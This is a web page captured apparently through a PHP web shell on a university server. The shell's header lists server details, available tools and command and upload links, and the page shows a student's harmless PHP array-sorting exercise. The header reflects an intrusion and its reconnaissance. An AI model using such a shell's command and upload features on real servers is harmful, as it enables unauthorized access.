Server IP : 172.16.15.8 / Your IP : 18.188.183.21 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/slcebula/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Name: Lee Cebula Date: 3/9/09 Instructor: Dr. Wang Title: array2.php Goal: Test PHP array functions - max, min, sort... pg. 92-95 --> <HTML> <HEAD> <TITLE> Array2.php </TITLE> </HEAD> <BODY BGCOLOR=blue> <FONT COLOR=white> <CENTER> <H1> Array2.php </H2> <HR> </CENTER> <?php $grades = array(83, 74, 99, 91); //1. Using foreach, print grades. print "Here are the grades: "; function Showgrades($grades) { foreach($grades AS $item) echo "$item "; } Showgrades($grades); //2. Sort function pg. 94 sort($grades); print "<BR><HR>Here are the grades after sorting (ascending): "; Showgrades($grades); //3. Sort function in descending order rsort($grades); print "<BR><HR>Here are the grades after sorting (descending): "; Showgrades($grades); //4. Maximum value $max = max($grades); print "<BR><HR>Here is the maximum grade: $max"; //5. Minimum value $min = min($grades); print "<BR><HR>Here is the minimum grade: $min"; ?> </FONT> </BODY> </HTML>